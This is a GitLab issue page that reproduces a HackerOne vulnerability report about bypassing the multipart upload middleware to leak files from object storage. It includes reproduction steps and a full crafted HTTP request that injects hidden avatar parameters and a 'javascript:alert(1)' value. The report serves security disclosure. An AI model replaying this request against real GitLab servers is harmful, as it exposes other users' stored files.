Skip to content
GitLab
Next
    • GitLab: the DevOps platform
    • Explore GitLab
    • Install GitLab
    • How GitLab compares
    • Get started
    • GitLab docs
    • GitLab Learn
  • Pricing
  • Talk to an expert
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
    Projects Groups Topics Snippets
  • Register
  • Sign in
  • GitLab GitLab
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributor statistics
    • Graph
    • Compare revisions
    • Locked files
  • Issues 54.9k
    • Issues 54.9k
    • List
    • Boards
    • Service Desk
    • Milestones
    • Iterations
    • Requirements
  • Merge requests 1.5k
    • Merge requests 1.5k
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Artifacts
    • Schedules
    • Test cases
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Package Registry
    • Container Registry
    • Terraform modules
    • Model experiments
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Code review
    • Insights
    • Issue
    • Repository
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • GitLab.orgGitLab.org
  • GitLabGitLab
  • Issues
  • #230878
Closed
Open
Issue created Jul 22, 2020 by GitLab SecurityBot@gitlab-securitybotReporter

Gitlab::Middleware::Multipart bypass to leak some files in object storage

HackerOne report #927953 by ledz1996 on 2020-07-20:

Summary

The mitigation for #850447 lack the check for remote_id for file uploading param inside a hash. For example I could slip in remote_id if the upload parameter is inside a Hash, such as user[avatar]

Steps to reproduce

  1. Enable Object Storage for Uploads
gitlab_rails['uploads_storage_path'] = "/opt/gitlab/embedded/service/gitlab-rails/public"  
gitlab_rails['uploads_base_dir'] = "uploads/-/system"  
gitlab_rails['uploads_object_store_enabled'] = true  
# gitlab_rails['uploads_object_store_direct_upload'] = true  
gitlab_rails['uploads_object_store_background_upload'] = true  
# gitlab_rails['uploads_object_store_proxy_download'] = false  
gitlab_rails['uploads_object_store_remote_directory'] = "lfsgit-ducanh"  
gitlab_rails['uploads_object_store_connection'] = {  
   'provider' => 'AWS',  
   'region' => 'ap-southeast-1',  
   'aws_access_key_id' => 'Redacted',  
   'aws_secret_access_key' => 'Redacted'  
 }  
  1. Login as an user
  2. For testing upload a file with PNG extension or any extension as long as the content of the file is matched to png, gif, ico, jpeg, tiff and size under 200kb to bucket specified in the config, in my case it is lfsgit-ducanh under folder tmp/uploads
  3. Intercept the request send to upload user avatar modify the following:
    param user[avatar] to user[avatar
    Add the following param to multipart:
    param user[avatar][.remote_id] with value as the name of the file upload
    param user[avatar][.size] to 1
    param user[avatar][.name] to test.png

Sample request:

POST /profile HTTP/1.1  
Host: gitlab.example.vm  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: application/json, text/plain, */*  
Accept-Language: en-US,en;q=0.5  
Referer: http://gitlab.example.vm/profile  
X-CSRF-Token: q/U0RAC1d6vo2t8DDE4CrCairn5tSPLMqgqS+z+1nnJMMa8k9hOa2yiUvNGnQFgy4cnCCjm/w3KRCSG0MNjC3w==  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------123131391227016554183414506179  
Content-Length: 3207  
Origin: http://gitlab.example.vm  
Connection: close  
Cookie: experimentation_subject_id=ImU0OTc1ZGY3LTk2ZjQtNDc1Yi1hM2IwLTVmNmI0MWViNzViYSI%3D--7a823d50e4220918dd1a10d21599be62dfbe5e46; sidebar_collapsed=false; diff_view=inline; _gitlab_session=cf64c7af0ce7d6da7c4a343959a12bfe; event_filter=all

-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="utf8"

✓  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="_method"

put  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="authenticity_token"

q/U0RAC1d6vo2t8DDE4CrCairn5tSPLMqgqS+z+1nnJMMa8k9hOa2yiUvNGnQFgy4cnCCjm/w3KRCSG0MNjC3w==  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[status][emoji]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[status][message]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[name]"

test'g  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[id]"

8  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[email]"

rrr@mailt.com  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[public_email]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[commit_email]"

rrr@mailt.com  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[skype]"

test"  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[linkedin]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[twitter]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[website_url]"

javascript:alert(1)  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[location]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[job_title]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[organization]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[bio]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[private_profile]"

0  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[include_private_contributions]"

0  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[avatar][.remote_id]"

file8.PNG  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[avatar][.size]"

3  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[avatar][.name]"

test.png  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[avatar"; filename="avatar.png"  
Content-Type: image/png

w  
twwwqwdqwd  
-----------------------------123131391227016554183414506179--
  1. Navigate to user avatar for the content of the file. The file is then deleted in the folder because it is moved to another folder in the bucket

I prepared a video for this: bandicam_2020-07-20_21-51-18-569.mp4

Results of GitLab environment info

System information  
System:     Ubuntu 16.04  
Proxy:      no  
Current User:   git  
Using RVM:  no  
Ruby Version:   2.6.6p146  
Gem Version:    2.7.10  
Bundler Version:1.17.3  
Rake Version:   12.3.3  
Redis Version:  5.0.9  
Git Version:    2.27.0  
Sidekiq Version:5.2.7  
Go Version: unknown

GitLab information  
Version:    13.1.3-ee  
Revision:   68484131370  
Directory:  /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter: PostgreSQL  
DB Version: 11.7  
URL:        http://gitlab.example.vm  
HTTP Clone URL: http://gitlab.example.vm/some-group/some-project.git  
SSH Clone URL:  git@gitlab.example.vm:some-group/some-project.git  
Elasticsearch:  no  
Geo:        no  
Using LDAP: no  
Using Omniauth: yes  
Omniauth Providers: saml

GitLab Shell  
Version:    13.3.0  
Repository storage paths:  
- default:  /var/opt/gitlab/git-data/repositories  
GitLab Shell path:      /opt/gitlab/embedded/service/gitlab-shell  
Git:        /opt/gitlab/embedded/bin/git  

Impact

Gitlab::Middleware::Multipart bypass to leak some files in object storage

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

  • bandicam_2020-07-20_21-51-18-569.mp4
Assignee
Assign to
Time tracking